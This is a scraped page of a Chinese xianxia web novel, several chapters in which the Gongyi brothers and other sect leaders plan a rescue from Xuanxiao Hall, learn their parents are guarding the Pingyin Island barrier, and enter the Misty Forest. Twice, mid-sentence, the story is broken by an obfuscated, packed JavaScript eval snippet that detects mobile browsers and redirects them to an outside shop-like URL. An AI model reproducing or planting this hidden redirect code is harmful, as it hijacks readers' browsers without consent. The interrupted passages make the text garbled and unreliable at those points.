紫阳宗弟子虽然没认出来公仪岭身上穿的是哪家的衣服,但还是客客气气地对他说着。 公仪岭道:“拜帖估计在我哥那儿呢。” 紫阳宗弟子遗憾道:“宗主交代了,没有拜帖不得入内。” 公仪岭套近乎:“你们不认识我了?我是云灵山的公仪岭啊!” 紫阳宗弟子打量着面前这个破烂衣袖的青衣男子,大约是赶了许久的路,整个人都风尘仆仆,看起来脸上也脏兮兮的,于是坚定地摇头道:“不认识。” 公仪岭没辙了,无奈道:“早知道当时在芙蓉院的时候就该多出来走走叫你们认认人的……你们燕蓉师姐呢?她可认得我!叫她出来放我进去呗。” 弟子道:“燕蓉师姐日理万机的,哪有功夫来这里认人?再说了,今日来这边的都是几大宗门的人一起来,怎么你就一个人来?我看你很是可疑。” 公仪岭也没什么能证明身份的物件,唯一能让云灵山人认出来的那块凤纹玉佩在紫阳宗这儿也不管用。 眼下他身上带着的,只有燕蓉之前写的那带了私印的信函兴许能用,但里面写了驱魔术法内容,也是不方便给他们看的。 公仪岭想了许久,最后找了块石头,坐下了。 弟子面面相觑,奇道:“你不进去了?” 公仪岭悠悠道:“你们紫阳宗看守严密地连只苍蝇都飞不进去,我还是在这儿等我哥来吧。” 89.一诺赠鬼玉 议事知何决(三) 公仪岭来得早,在石头上坐了一会儿后,觉得石头太硬坐得自己腚疼,于是从行囊掏出一卷草席,直接当着俩弟子的面躺下了。 “……” 紫阳宗还是十分讲究门面的,公仪岭那破衣服破草席的,看着就很不成体统。这两个小弟子什么时候见过这样的人?当即嘴角一抽,忍不住在心里腹诽起来。 公仪岭才懒得管他们怎么想,自己一路赶来,好几日都没合眼了,身子都快散架了,正好趁这个时间补个觉,等他睡醒了,估计大哥也能过来把他捞进去了。 许是紫阳宗弟子看不下去,最后还是前去回禀燕蓉师姐了。 燕蓉也确实是脱不开身,人影都不见一个。这两个弟子在院落没找到燕蓉,反而遇到了他们的大师兄燕煦泽。 燕煦泽闲来无事,不介意走一趟,优哉游哉地跟着弟子过来了。 等他看到公仪岭的时候,便瞧见这人躺在草席上睡得正美,就差嘴里没流哈喇子了。 燕煦泽问守门的弟子:“他睡了多久了?” 弟子道:“已经有半个多时辰了。” “哦,那是差不多该醒了。” 燕煦泽笑了笑,看了看路边草堆,从里面揪了一根狗尾巴草出来,蹲在他身旁就把草往他鼻子上扫了扫。 这个法子效果奇佳。两个弟子好奇地围过来看,瞧见公仪岭鼻子拱了拱,像是被痒得不行,片刻后,便打了个极响亮的喷嚏,醒来了。 旁边两个弟子在心里给燕煦泽比了个大拇指,感慨道:“还是大师兄有办法!” 燕煦泽丢了狗尾巴草,拍掉手上的灰尘起了身,对公仪岭挑了挑眉说道:“看样子,你这几天没怎么好好睡觉啊?” 公仪岭手撑着头,还没完全清醒过来,脸上一片迷茫,想了半天才想起来,面前这是哪一位仁兄。 他眯了眯眼睛,喃喃自语:“还好吧,也就这半个月没怎么好好睡觉。” 燕煦泽笑道:“起来吧,我带你进去。” 公仪岭坐在地上缓了一会儿,才爬了起来,问他道:“云灵山的人还没来吗?” 燕煦泽道:“午时过后,他们才到。” 公仪岭本来还想问问怎么不是燕蓉过来,不过想来应该她没空,才托了师兄来捞自己进去,于是也就闭口没问,打算先进去再说。 燕煦泽没有将他带到芙蓉院,而是直接将他带到了紫阳殿里,随便给他找了个坐席坐下:“等会儿就是在紫阳殿中议事,你且在此地等个把时辰吧。我还有事要忙,先行离开。” 他在不在对公仪岭来说都无所谓,于是痛快点头:“行,多谢你了。” 燕煦泽走后,公仪岭瞥了一眼大殿上的计时沙漏——现在已经是巳时了。 集会是安排在未时开始的,按照他对大哥习惯的了解,不出午时,必然能在紫阳殿见到他了。 公仪岚可从来都不是踩点来的人。 至于齐元白……不迟到应该就不错了。 燕煦泽离开前怕他无聊,还十分贴心的叫仙侍给他上了茶和茶点,叫他边吃边等。等到仙侍端着卖相极佳的精致茶点上来的时候,公仪岭险些潸然泪下。 这半个多月来,除了在酒楼里吃的那顿以外,他再没吃过其他美味佳肴了。要不是现在吃上了紫阳宗的茶点,他都快忘了自己在宗门里过得是怎么样的逍遥日子。 公仪岭喝着茶勉强提神,等到喝完了第五盏茶,就看见大殿门口进来了两人。 半个月不见,公仪岚看起来疲惫了很多,旁边的承悦则是没什么变化。 他一眼就看到了角落里的公仪岭,开口唤道:“阿岭。” 公仪岭站起了身,讷讷道:“大哥。” 公仪岚走过去坐到了他的旁边,语气多有责怪:“你一去半月,竟不知道传个信回云灵山。公仪岭你可知道我有多担心?” 此事确实是公仪岭忘记了,他不知该怎么解释,只能很没底气地支支吾吾道:“嗯……我忘了。” 承悦表情严肃,不满道:“二师兄你也真是的,这样大的事情也能忘吗?现在外面这么乱,你叫岚兄如何能放心。” 公仪岚叹了口气:“要不是问了燕蓉,我都不知道该如何召你回来。罢了,你现在平安无事,我也就不多说什么了。” 公仪岭连忙给他们两人倒茶,好声好气宽慰道:“错了!错了错了,我再也不敢了,以后出远门,我肯定给你们写信报平安。” 公仪岚见他态度还算端正,只得点了点头,喝了一口茶,又低声问道:“爹娘可有消息了吗?你下山一趟,可有找到?” 说起这个,公仪岭就垂头丧气起来了。 “我下山后看见贡桌那边写了宣安城妖邪之事,想着跟御魔幡有关系的话,没准爹娘去了那边。谁知在城里找了半个月,也一无所获。” 公仪岚凝视了他片刻,最终轻声叹了口气。 承悦道:“岚兄,要是实在不行的话,我看等下再问问燕宗主也不是不行?” 公仪岚道:“这些日子,我也并非没有修书给燕宗主询问此事,只是他刻意避而不谈,说等时机到了自然会告诉我们,也不知究竟是为何。” 公仪岭想了想道:“等找到燕婉以后,再问问他吧?” “也好。” 正说着,门口突然有人出声道:“我还道是哪家来的这么早,原来是你们云灵山啊。” 公仪岭往那一看。来人白衣束袖,身形高挑,其五官俊朗分明,明明是一种气宇轩昂、意气风发的长相,表现出来的姿态却一派傲慢,就差没用鼻子看人了。 他走了进来,似乎这才看清楚里面的人是何模样,突然笑道:“怎么,一别半月,你们云灵山连件像样的衣服都穿不出来了?” 这种锐利中带着些许不友好的话,让公仪岭微微皱眉,心道这又是六弦阁哪位来着? 于是公仪岭嗤了一声,不悦道:“你哪位啊你?” 纪景明还牢牢记着中秋宴时候云灵山这俩兄弟奚落自己的事情呢,这才十分不客气却又没什么威慑力地来了这么一句。 他万万没想到自己直接就被人给忘了,气得直咬牙:“你老人家真是贵人多忘事,中秋宴一别,这么快就忘了?” 公仪岭顿时想起来了大哥在信里说的太微山和六弦阁少宗主继位之事。 只不过纪景明说的中秋宴的事情公仪岭已经忘得差不多了,估计当时就是顺口一奚落,他压根就没仔细去记过纪景明长得什么样,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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像他们剑修、阵修的,上一辈大多都会采用第二种办法,那就是在弟子里择一位靠谱且实力强悍的来继任宗主。 而他们云灵山,公仪拓当年,也是如此被前一辈选上的。至于公仪岚这样直系血亲,且靠谱厉害的,实为少数。 第三种办法,符修和毒修派别的宗门倒是常用。那就是当直系血亲人丁凋零的时候,这些宗门往往会从旁系里面选一些仙资高的来继承宗主位子。 而如六弦阁这样的音修宗门,自然是多用第二种办法,上一任宗主会在众弟子中择优继任位子。 纪景明他爹纪怀风,当初立他为少宗主也是因为溺爱和激励儿子,如今他长这么大了,纪怀风也明白自家儿子资质平庸,算不得什么音修天才。 于是纪怀风在离开前,甚至犹豫想要将宗主之位传给纪银灵。只可惜纪怀风的想法并没有获得多少支持,最后还是让他这位少宗主继任了位置,由纪银灵来帮衬他。 纪景明这人,实力不济是真的,但混到了宗主位置也是真的。 当然,他本人是绝不会承认自己实力不济这一点的。 纪景明冷冷道:“我们宗门的事情,与你何干?” 90.一诺赠鬼玉 议事知何决(四) 公仪岭连连摆手:“那当然跟我没关系了。我不过是感慨一句,当你们六弦阁的宗主,想要服众还真是容易。不像我们云灵山,个个都得一对一单挑过,才能选出来最合适的人当宗主。” 纪景明叱道:“不管你怎么说,现在继任之事已成定局,改不了了!如今也该是你尊称我一句纪宗主,而不是我管你叫公仪宗主!” 公仪岭若无其事道:“没关系,反正你也得称我大哥一声公仪宗主。对着一样的一张脸,我就权且当你是在叫我了。” “……你?!……哼!” 纪怀风咬牙切齿了半天,最后怫然撂下一句:“你们云灵山的家教,还真是够好啊!” 公仪岚皱眉,冷冷开口:“我们云灵山的家教自然是不及你们六弦阁,教不出来你这样的少宗主。” 纪景明冷哼一声,反唇相讥:“你们兄弟两人倒护得紧!公仪宗主,我倒是想看看,令弟这样的性子,你能护他到几时?” 公仪岚淡淡道:“这就不劳纪宗主操心了。在其位谋其职,这宗主之位,可不是那么好坐的,你可得坐稳了。” 两家的谈话不欢而散,等到齐元白领着人进来的时候,气氛就显得很是尴尬了。 说起来公仪岭也有许久没跟齐元白联系了,他这么早到,完全出乎了公仪岭的意料。不过转念一想,多半是因为身份不同了,这才不能像以前一样散漫了。 齐元白进来的时候,公仪岭险些没有认出来他。 他本就男生女相,相比起纪景明凌厉的五官,齐元白则是更阴柔俊美一些。也不知道是不是劳累的原因,他的皮肤看起来有一些病态的苍白,衬得一只耳上坠着的铜钱红绳更加显眼了。远远地这么乍一看,公仪岭险些以为是太微山的哪位女弟子过来了。 想来也是,他肯定是不愿让齐清鸢操心宗门里的事情,大小事情都自己亲力亲为,又没个合适的弟子帮衬着,也难怪会如此了。 齐元白压根没瞧纪景明那边一眼,直接就去跟公仪岭打招呼了:“阿岭,你回来了。” 公仪岭道:“嗯,回来了,可累死我了。” 齐元白上下扫了他两眼,叹了口气,从怀里掏出了一锭金子,搁在了公仪岭桌上。 公仪岭:“?!” 他又惊又喜,正想开口问问齐元白怎么突然财大气粗塞钱给他了,就听齐元白皱着眉嫌弃道:“虽然我知道阿岭你喜欢蒙眼打架,但老这么扯袖子也不是个事情。这钱你拿着,等议事完,叫岚兄跟你一块去城里买件新衣服穿,顺便再买条青绫备着吧。” 他话还没说完,桌上的金锭就已经被公仪岭眉开眼笑地揣进了怀里。 公仪岭大喜道:“元白你当了宗主以后可真是不同凡响,出手就是这么多!等下议事完了我一定去。” * 紫阳殿正座旁的计时沙漏漏完了最后一颗沙后,到了未时整。 燕蓉也正是在此时,跟着燕修远分毫不差地踩点进了殿中。 公仪岭见她没有像往常一样站在燕修远旁边,而是与燕煦泽、燕渊一并入了坐席中,微微诧异。 燕修远自正座坐下,扫了一眼殿中到场众人,沉声开口道:“诸位仙僚,想必也都是知道此次为何召诸位前来议事的。” 众人皆点头称是。 燕修远继续道:“此事事关重大,并未告知其余宗门,今日请诸位前来,便是商讨一下我们几家该如何从玄霄殿救出燕婉,拿回御魔幡。” 纪景明问道:“燕宗主,为何此次只有六弦阁、太微山和云灵山的人前来,抱元门的人怎么没来呢?” 这个问题也是公仪岭想问的,只是刚刚忙着说话,还没来得及问大哥详情。 那日中秋宴后,抱元门显然是知道关于御魔幡的事情的。像这样的大事,抱元门作为仙家之首,怎么也应该参加才是,如今却并未前来紫阳宗议事,甚是奇怪。 自从公仪岚和司月吟定亲完后,发生了那么多事情,公仪岭也就再没去了解过抱元门的消息了。 不过,公仪岭想着大哥肯定私下与司月吟有联系。 公仪岭侧头问了大哥一嘴:“大哥,你可有问过司姑娘缘由吗?” 公仪岚道:“几日前,我修书一封询问过,月吟说她是愿意来的,只是善承长老和玄微长老似乎并不想让她掺和其中。” 公仪岭问道:“那……司宗主和崔夫人呢?” 公仪岚叹了口气:“他们两人,在中秋宴后也离开了。现在,抱元门的一切事务,全都是玄微长老代理的。” 正座上燕修远也答道:“玄微长老修书告知,说门中有要事,这次抱元门就不出面了。” 齐元白道:“算来,如今燕婉姑娘已经失踪了有三十五日了,离七七四十九日只剩下不过十四日了。紫阳宗修书给玄霄殿后,那边却并无回应,不知燕宗主,打算如何呢?” 燕修远道:“按照之前在庆阳殿说的办法,便是我们直接前去玄霄殿要人。” “直接要人?说得轻巧,现在我们与玄霄殿之间本就关系微妙,如果我们直接去要人的话,万一他们以为我们想找个借口开战,到时候该怎么办呢?”纪景明哼道。 “这……” 纪景明继续说道:“再者,若是仙家与之一战,导致规模扩大,危及到了城中百姓,又该怎么办?” 齐元白问他:“纪宗主这样说,可是有什么更好的解决办法?” 燕修远肃然道:“叫大家前来就是为了商量出万全之策,纪宗主如果有更好的办法,但说无妨。” 纪景明毫不犹豫道:“比起直接去要人,我更倾向于各家宗主出面,去跟尹景轩协商解决此事。” 公仪岚道:“纪宗主此言并非全无道理,只是,如果我们去跟他协商带走燕婉姑娘,也许还有些希望,但是那御魔幡想拿回来,肯定就没那么容易了。” “想也知道尹景轩不会轻易交出来。不过他们既然掳走燕婉是为了炼化御魔幡,十有八九燕婉会与御魔幡在一处地方。”燕修远道。 齐元白笑道:“既然如此,那我倒还有另一个办法。” “齐宗主请说。” 齐元白道:“依我看,咱们几家宗主到时候,不如表面先去和玄霄殿协商,实际上暗地里偷偷派人潜入,将人带出来。” 纪景明皱眉:“那如果被发现了,该怎么解释呢?” “装傻谁不会?他们装不知道燕婉和御魔幡的事情的话,我们也装不知道此事就行。他们追问,就说家里后辈跟燕婉感情深厚,自己就偷偷去找了。如果当真在他们殿里找到了的话,人证物证都在,他们还有什么好狡辩的?” 齐元白说完,众人一时间都没答话,都在思考可行性有几分。 许久后,公仪岚才开口道:“我觉得,齐宗主这个办法不错。” 燕煦泽也难得出声赞了一句:“按照现在的情况来说,我觉得这个办法未尝不可。” 燕修远并无意见,环视 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燕蓉不容置疑道:“我与师姐修得一样的术法流派,灵力也会更柔和一些,若是需要有人给他们俩渡血的话,没有人比我更合适了。” “何况,师姐那时候应该已经无比虚弱,身体如何能够承受得住大师兄那磅礴厚重的仙力?” 燕煦泽没想到她已经考虑的如此周全,有些讶然:“燕蓉……” 燕蓉没给他开口的机会,继续分析:“师父如果前去玄霄殿交涉,为我们拖延时间的话,身边定然得需要站个人撑场面,不然的话,难保尹景轩不会起疑心。” 燕修远闻言点头:“燕蓉说得在理。只不过,你们两个人去的话,到时候也该厉害的有个人替你们护法,以防万一。” 一直没开口的齐清鸢出声道:“我去!” 旁人还没反应,齐元白就已经先把人拦了下来:“阿鸢你瞎说什么?万一在里面打起来的话,可不是开玩笑的!” 齐清鸢急声道:“可是……婉婉她还在里面等着人去救,叫我怎么能平心静气在外面等着?!” 燕煦泽叹了一声,冷静说:“清鸢姑娘,你的心情我们能够理解,只是那玄霄殿内危险重重,符修之人又不擅长近身打斗。依此来看的话,你并非是最佳人选。” 齐清鸢反问他:“那你说,谁去合适?” 燕煦泽顿了顿,忽而往一处看去,含笑道:“这不就只剩下一个人了么。” 众人顺着看去,顿时了然。 公仪岭还在低头想着该选谁去比较合适的时候,突然觉得后背一凉,抬头一看,就对上了周围对他投来的几道视线。 “呃……这是怎么个意思?” 公仪岭挠了挠头,左看看右看看,发现每个人眼中都十分肯定。 他指了指自己,不确定道:“我……我去?” 燕煦泽点头,道:“这里还有人比你更合适吗?” 公仪岭环视四周,这才想起来大哥、齐元白和纪景明已是宗主,现在代表的是宗门,定然是要跟燕修远同行的,肯定没法前去。 而唯一有点可能前去的纪银灵,轮实力却稍逊他一筹。 好像……还真是? 这么一想,公仪岭竟然觉得燕煦泽说得好有道理。 顶着众人齐唰唰的目光,公仪岭硬着头皮接下了任务:“那到时候,我就跟着燕蓉和燕渊去吧。” 91.一诺赠鬼玉 议事知何决(五) 公仪岭答应下来后,燕修远也稍微放心了些。 办法已经被他们定了下来,公仪岚顺道便问了问时间:“燕宗主,我们何日启程?” 燕修远沉思片刻,严肃道:“三日后启程。” 燕蓉立即道:“师父,时间紧迫,诸位宗主回去恐怕来不及,这三日,就安排他们在紫阳宗住下吧。” 众人都没有意见,燕修远也点头道:“这个自然,此事燕蓉你来安排就是。” 眼见着事情说完就要散场,角落忽然传出一声清冽女音:“且慢。” 燕修远一怔,朝着声音方向望去,那边的白衣女子却已起身,十分恭敬地对燕修远行礼:“燕宗主,我还有一事不明。” 是纪银灵。 她从进门开始到议事完都没有开口说过一句话,就连公仪岭也不知道她究竟是怎么了,很是奇怪。 燕修远很快就神色如常,问道:“纪姑娘,不知道你还有什么疑惑?” 纪银灵淡声道:“现下大家都是一条船上的人,自然应该开诚布公把事情都说明白。紫阳宗现下有求于人,我们自是鼎力相助。” 她顿了顿,随即话锋一转:“只是,在动身前,燕宗主也该与我们说明白,各家的宗主在中秋宴后就陆续离开,没过多久更是失去了联系,究竟是怎么一回事?” 纪银灵说完,紫阳殿中的空气都凝固了。 公仪岭原本还打算等议事结束后,再私下里委婉地问问燕修远此事,完全没想到纪银灵竟然直接当众把这事情挑明了问。 她说的话也十分有技巧,并没有上来就直接问,反而说的是紫阳宗有求于人。若是这样,燕修远避开此事不谈的话,难保其他宗主不会有别的想法,不利于他们这次行动。 燕修远脸上表情十分复杂,一时间并没有答话。 气氛都烘托到这里了,他们云灵山也该表个态。公仪岭很快就起身接话道:“燕宗主,既然咱们现在算得合作的关系,这件事情,事关在场各位宗主的血亲,我们也该有知情权才是。” 燕修远缓缓道:“道理是这个道理……只不过此事不是我刻意隐瞒,而且与他们共同商议后的结果。” 齐元白叹道:“阿岭说得不错,燕宗主您丢了女儿尚且如此着急,定然能理解我们失去了爹娘该是如何的心情。” 燕修远沉默许久,才道:“按照他们的意思,现在还没到能告诉你们的时候。当然,他们也说了,不必叫你们费心去找。” 公仪岭轻笑道:“不瞒燕宗主,我今日如此衣衫褴褛,来不及收拾自己就到了你们紫阳殿中议事,就是因为十几日前下山在各处寻找父母的缘故。燕宗主与我爹我娘乃是多年故友,也总得体谅一下我们小辈的一番孝心。” 纪景明道:“现在不是时候,那什么时候才是?燕宗主,你跟我们说了的话,他们遇到危险的时候,我们还能想办法过去帮衬一二,而不是现在这样担心却没办法了!” 公仪岭沉声道:“何况,他们现在已经联系不上了,你如何能保证我爹娘的安全?” “……” 燕修远低声一叹,语气沉重:“平阴岛。” “什么?” 公仪岭以为自己听错了,下意识问了一句。 燕修远抬起头,眼神平静,对他又说了一遍:“我是说,他们在平阴岛。” “你说什么?!” 纪景明难掩震惊,起身惊呼:“他们去那种妖邪遍地的地方做什么?” 就连公仪岚也皱起眉头,追问道:“燕宗主,可否说得更详细一些?” 燕修远坦言道:“若不是婉婉出了这样的事情,原先我也是该一同前去的。” 他说的这话与公仪岭当时分析的差不多,于是没有插话,静静地等着燕修远继续说。 “你们都知道,平阴岛上是个尸横遍野、寸草不生的地方,岛上多得是被仙家囚禁或是流放于此的犯人与妖邪。其岛外又有先人设下的极强结界守护,基本上是个有去无回的地方。” “也正是因此,玄霄殿才打上了平阴岛的主意,这些年,没少想办法破除结界,想要把里面的东西放出来。加上他们现在,还拿到了御魔幡,如果炼化完了的话,平阴岛外的结界恐怕就无法支撑住了。” 齐元白凝声道:“燕宗主,你的意思是说,我们的父辈们,前去平阴岛就是为了去镇守住那结界?” 燕修远道:“正是。” 公仪岚喃喃道:“难怪他们会杳无音信了。” 公仪岭问道:“那我们就不能派点人过去帮衬下吗?多点人多点力量啊。” 燕修远寒声道:“玄霄殿狼子野心,几年前都开始陆续吞并妖界鬼界,炼化御魔幡就是想增强实力一举将仙家也拿下。现在眼看着四十九日的炼化期限将至,难保不会为此大战一场,如何能再分人前去?即便是去了,以他们弟子们的修为,也是白白去送死。” 公仪岭凝视着燕修远,突然问道:“燕宗主,我猜,平阴岛不是这几日才出的问题吧?” 燕修远一怔:“你如何得知?” 公仪岭缓缓道:“平阴岛上多有仙家流放之人,大家可还记得,上一个被流放到那边的,是仙门中的哪一位?” 公仪岚愕然看向旁边弟弟,语气迟疑:“阿岭,你是说……藏元长老?” 公仪岭点了点头,十分肯定道:“那时候仙考历练结束,三化殿会审司青筠和藏元长老两人的时候,看似所有问题和动机都已经明了,实则却忽略了一个最为重要的问题。这个问题,我当时也疏忽了。” 燕修远道:“哦?那你说说,你发现了什么问题?” 公仪岭道:“既然血阵是藏元长老亲自在冀阳城设下,这样的话,他就应该刻意避免安排我们前去冀阳城调查才是,毕竟万一稍有不慎,就会被发现。他身为抱元门三位长老之一,想要让我们换个地方历练,不过是一句话的事情,何必赌上自己的一生清誉呢?” 他说完,公仪岚也瞬间明白了过来。 公仪岚沉思道:“看来,三位长老定是在这之前就已经下了决定,找了个名正言顺的办法,表面流放藏元长老,实则是派了长老前去镇守结界……” 齐元白肃然道:“三位长老如此大费周章做了这出戏,想必就是不想将此事声张出去,避免打草惊蛇,才选择用了这样的办法来瞒天过海。” 公仪岭点了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624037|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,望向燕修远:“燕宗主,您看是不是如此?” 燕修远眼中是深深的疲惫,深呼出一口气,道:“的确如此。” 纪景明悚然道:“那……如果我们没能将御魔幡带出来的话,平阴岛岂不是……?” “藏元长老在那边布下了阵法,到了万不得已的时候,他们就算跟里面的东西同归于尽,也不会让它们放出来为祸苍生。” 紫阳殿中的温度似乎都寒冷了起来。 公仪岭心中更是一片冰凉。 从前修习的时候,他从未觉得这样两边战争的事情会发生,只觉得这样的事情应该离他们这些小辈们很远很远。 更没想到,在不知道什么时候,自己恐怕就已经见完了此生与爹娘的最后一面。 他的胸口像是被压了石头一样,根本喘不过气。 燕修远望着下面死寂的几人,无奈道:“我早与你们说了,他们不愿意告诉你们这样的事情,也是有道理的。” 公仪岚艰难开口道:“原来那日,他们将宗主令牌交给我的时候,竟是已经做好了回不来的打算……” 还说什么云游四方,不过是托词罢了。 燕修远道:“正因如此,你们也不必想着派弟子前去支援他们。往好处想,如果我们此行前去玄霄殿,能够将御魔幡取回的话,平阴岛的妖邪就不会冲破结界出来,你们的爹娘应该也能平安回来了。” 齐元白点了点头:“明白了,燕宗主,此行玄霄殿,我们必然全力相助。” 公仪岚也沉声道:“云灵山也会鼎力相助。” 纪景明道:“六弦阁也一样。” 事情商量完,众人从紫阳殿出来后,燕蓉就命仙侍将三家人送到了各自的住处。 公仪岭一回到芙蓉院,就将自己的破烂青衣泡到了泉水之中,直接进屋沐浴去了。 从紫阳宗去周边最近的城也需要至少半日时间,公仪岭觉得麻烦,就打消了前去买衣服的念头。正好承悦有带了多余的衣服,公仪岭顺手就给换上了。 虽然红色是显眼了点,不过总比他没衣服穿好。 这三日,公仪岭的大部分时间都用来休息养身子了。 相比起公仪岭的清闲,这三日公仪岚和承悦就有的好忙了。 今日在场的人,都是他们三家中少数能够信得过的人,现在都跟随着前去玄霄殿的话,宗门里少不得需要安排人手,燕修远留出来这三日,也是出于这个考虑。 他们在芙蓉院闭门不出了三天,一直待到了与燕修远约定的时间,才动身前往了紫阳殿。 很快,广场之上,四家人都已经到齐了。 因为打着交涉协商的名头前去,不能浩浩荡荡带一群人,显得大动干戈,故而他们每家都只带了寥寥三四人。 而紫阳宗,也在这三日间给玄霄殿发去了拜帖,只不过依然没有得到玄霄殿的任何回应。 有没有拜帖唯一的区别就是,前者是名正言顺的过去,后者则是不请自来。若是得了玄霄殿的应允,他们行事就会方便许多,而不是连进魔界的地界都需要费一番功夫。 人已聚齐,谁都没多说一句废话,直接动身前往了玄霄殿。 92.迷雾遇火凤 佳人梦幻境(一) 玄霄殿并不独立于世外,而是处于与人间相连的地方,两界的交界处有一片极广的林子,隔绝开一方天地。 这林子名唤迷雾林,里面的每一棵树都是千年古木,千百年间依靠着生人血肉滋养,盘根错节,高耸入云。林子中每棵树的树冠也都生得巨大无比,将天空遮蔽地严严实实,几乎透不进一点阳光,一片阴森诡异。 公仪岭在云端就瞧见了缠绕在林木中的浓郁雾气,在心中叹了一声传言不虚。 他虽然从前没机会亲临此地,但在云灵山的时候,却在藏书中得以一观。虽然书中所言也只是寥寥几句,但有一点却说得十分贴切,那就是:人在迷雾林里面行走之时,双目极难辨物。 如果误入其中,非常容易在里面迷失方向,被里面的魔物吞噬殆尽。何况加上此地魔气浓重,诸如寻妖罗盘之类的法宝是起不了丝毫作用的。 而迷雾林又被尹景轩下了特殊的禁制,他们仙家的人是没办法直接从林子上空飞过去的。即便是他们这些修仙之人来到此地,也必然得摸索着路出去。 他们如果想要进到玄霄殿,必须得想办法穿过这片迷雾林。 公仪岭自归云剑上跃下,双指并拢收回归云,觉得光是站在林外,就已经能感受到里面涌出的丝丝寒气。 他对众人说道:“前面没法过去了,只能到这里了。” 纪景明冷哼道:“紫阳宗传了几次信过去,玄霄殿都爱搭不理的,我看他们压根就没想让我们过去,也没想跟我们谈判协商。” 燕修远道:“事到如今,也只能硬闯这片林子了。” 公仪岚凝视了林子片刻,伸出手触碰了一下面前的空气,说道:“奇怪,这迷雾林从前都有设结界,今日怎么没有了?” 燕煦泽沉声道:“我看,他们的意思已经够明显了。结界是刻意撤下的,此举分明就是在告诉我们:‘救人可以,靠自己本事过来’。” 燕蓉眉尖一跳,不悦道:“这态度,摆明就是不愿意与我们和谈,未免太过嚣张。” 公仪岭道:“不管如何,先进去再说!我倒要看看这里面的魔物,是有多厉害!” 公仪岚谨慎提醒:“里面极易迷路,大家行事多加小心,切不可擅自行动。” 时间紧迫,没人有心思在这林子门口犹豫,花时间再慢慢商量对策。公仪岚说完以后,几人便相互对视一眼,祭出各自的法器,进了林子。 * 一脚踏入迷雾林内后,公仪岭第一感觉便是彻骨的寒冷。 他不由缩了缩脖子,说了一句:“好冷啊。” “嘘。” 燕蓉压着嗓子,低声道:“这地方也太静了,周围也不知道有什么东西,我看我们还是小声些说话吧。” 林中不算全黑,但依靠外面微弱的光,也只能看清楚各自脚下的路。不过,现在的确是有些安静过了头,像是风雨欲来前的平静。 燕煦泽警惕地环视着四周,道:“师妹,这里的道路错综复杂,我们现在也没个指路的法器,我看,还是先沿着一个方向走吧。” “你说的对,师兄。” 燕渊皱眉道:“可是往一个方向走的话,人是不容易失散了,但如果走错了方向,岂不是南辕北辙,浪费时间?师兄,阿姐本就危在旦夕,我们怎么能……” 燕蓉默了默,请示师父道:“师父,您看?” 燕修远捡了地上散落的几根树枝,在末端施了个火系术法,做了几个火把分给了众人,勉强用来照明:“在这个地方放信号弹也是不管用的,大家就先不必托掌心火焰,也好省些灵力。我们几人万不能失散,为今之计,也就只能按阿泽的办法来了,大不了,走快些。” 燕渊听老爹发话,也压下不说了。 有了火把照明,至少他们都能够依照火光来辨认各自的方位了,行动起来也就快捷了很多。 一行人顺风疾驰,在显露地面上的巨大树根上起落飞跃,一路前行。 只是,就算他们尽力屏息凝神,在林中隐匿身形,也还是避免不了落在树根上引起的沙沙叶声。还没有走过一炷香的时间,公仪岭就猛然听到不远处的周围传来一阵轻微的异动,立即停在了一根树根上。 他手上火把一停,在旁边的公仪岚马上就察觉到了,也跟着他停了下来,神情严肃问道:“阿岭,你听到什么了?” 公仪岭肯定道:“有动静,大家小心。” 众人闻言,都停下了脚步,侧耳听着那响动,小心戒备了起来。 只听那声音由远及近,伴随着拨开灌木的沙沙几声,突然,在树林深处倏然亮起了一点幽光。 公仪岭穷极目力,朝那幽光处看,只可惜大雾朦胧,极难看清。 一点、两点、三点…… 公仪岭看见那幽光排着队朝着他们过来,还听到了一句沙哑的话,也不知道是谁的破锣嗓子发出来的:“尊主也不知道怎么回事,大白天的就叫咱出来巡逻。” 另一声音道:“知足吧你!这边又照不到阳光,等到时候叫你去守着另一边,你又不愿意了。” 破锣嗓子道:“这边也没好到哪里去,谁愿意见那只死鸟啊!热了吧唧的,烫得鬼眼睛疼。” 另一声音尖声尖气道:“那死鸟长那么好看,把它的头安我头上多好?” 破锣嗓子道:“得了吧你,你前几天刚吞了那只牛精,换上了它的牛头,这会儿又不满意了?” 尖嗓子道:“不满意也得忍着,现在闯进来的东西少了,谁知道下一顿能不能吞个俊点的!” 这两只东西排在队伍最前头,有一搭没一搭地聊着天。等走近了,公仪岭才看清楚它们长什么样。 这两排东西,每一个左手上都提着一盏磷火纸灯,里面正幽幽发着蓝绿色的光,右手上则是拿着一柄形如铁叉的武器。排头的那破锣嗓子头顶那稀稀拉拉的头发还燃着青绿色的火焰,脑门上和下巴上 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空行夜叉还不忘纠正它:“不是吃干饭的,是吃人的!” “对对对,吃人的……给我出来!” 这两夜叉说完就“啪嗒”一声给手里的磷火灯笼丢到了两边,拿着铁叉子戒备起来了。 燕蓉得了师父的令,毫不犹豫对燕煦泽道:“师兄,一起上!”说着直接执扇从树干上跳下去了。 燕煦泽没想到她动作如此果决,微微一愣后也立刻跟了上去。 公仪岭还在琢磨着怎么把这俩夜叉活捉了,就见侧上方两根树干上已经一前一后跃下两人,周身还泛着灵力流光,拿着一黑一绿两把一品灵扇,朝着两排夜叉直冲过去了。 公仪岭:“哎——这么快?!” 两夜叉只见面前浮光一闪,对面攻势已至,一道术法直接朝着它们的门面打来,匆忙躲避间,还不忘惊叫两声:“哎哟,说来就来!” 大约是魔气太盛的缘故,他们都觉得仙力不如在外面运行自如了。饶是燕蓉这般修为高的,也免不了觉得在这样的地方难以施展。 